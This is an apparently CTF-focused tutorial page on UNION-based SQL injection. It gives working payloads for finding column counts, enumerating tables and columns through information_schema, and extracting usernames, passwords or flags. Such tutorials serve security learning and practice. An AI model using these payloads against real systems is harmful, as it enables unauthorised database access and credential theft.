> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-17/sqli/trick-0138/web-sqli-union-attack.md).

# Union Attack

## SQL Injection (UNION SELECT)

`UNION SELECT` is used in SQL injection to combine the results of a malicious query with the original query. This allows retrieving data from other tables or enumerating schema information, often via `information_schema`.

First, determine the number of columns the original query selects. One common way to do this is using the `ORDER BY` clause. You can test different column numbers incrementally until an error occurs. If the query `ORDER BY N` succeeds, it means there are at least N columns. If it fails, there are fewer than N columns. The correct number of columns is typically one less than the number that caused the error.

For example, starting with 1:

```sql
' ORDER BY 1--
```

If that succeeds, try 2:

```sql
' ORDER BY 2--
```

Continue incrementing until an error is returned.

Alternatively, you can submit a series of `UNION SELECT` payloads using `NULL` values. You need to provide the correct number of `NULL` keywords to match the number of columns in the original query. If the count of `NULL`s does not match, the database will return an error.

For example, testing for 2 columns:

```sql
' UNION SELECT NULL, NULL--
```

Or testing for 3 columns:

```sql
' UNION SELECT NULL, NULL, NULL--
```

Adjust the number of `NULL` values until the query is accepted without error, indicating the correct column count.

Once the column count is known (assume 3 for this example), you need to identify which columns display output. This can be done by putting non-numeric values, such as strings, in the list of selected items.

For example, using a 3-column query:

```sql
' UNION SELECT 'abc', 'def', 'ghi'--
```

Any columns in the original query result set that are capable of holding string data will output the string you supplied (`'abc'`, `'def'`, or `'ghi'`). Note which column positions display these strings.

Once the column count is known (assume 3 for this example, and columns 2 and 3 show output), use `information_schema` (in MySQL/MariaDB) to enumerate tables and columns. The `information_schema` database contains metadata about all other databases, tables, columns, and access privileges.

To list table names, you can query the `information_schema.tables` table. You can retrieve one table name at a time using `LIMIT` and `OFFSET`:

```sql
1 UNION SELECT 1,table_name,3 FROM information_schema.tables LIMIT 1 OFFSET 0 --
```

Or, to get all table names in a single result using `GROUP_CONCAT`:

```sql
1 UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables --
```

The `GROUP_CONCAT()` function in MySQL is an aggregate function that concatenates strings from a group into a single string with a separator (by default, a comma). This is useful for retrieving multiple values from different rows into a single cell in the `UNION SELECT` output.

After identifying a promising table name (e.g., 'flag' or 'users'), enumerate its columns by querying `information_schema.columns`:

```sql
1 UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='flag' --
```

Finally, extract the desired data from the identified table and column(s). For example, retrieving data from a `users` table with `username` and `password` columns, assuming columns 2 and 3 are displayable:

```sql
1 UNION SELECT 1,username,password FROM users --
```

Or extracting the 'flag' from a table named 'flag', assuming column 2 is displayable:

```sql
1 UNION SELECT 1,flag,3 FROM flag --
```

Note that the number of columns in the `UNION SELECT` statement (like `1,2,3`) must exactly match the number of columns selected by the original query. You replace one or more of the displayable columns (identified earlier, e.g., column `2` and `3` in the examples above) with the data you want to retrieve (`table_name`, `column_name`, `username`, `password`, `flag`, etc.).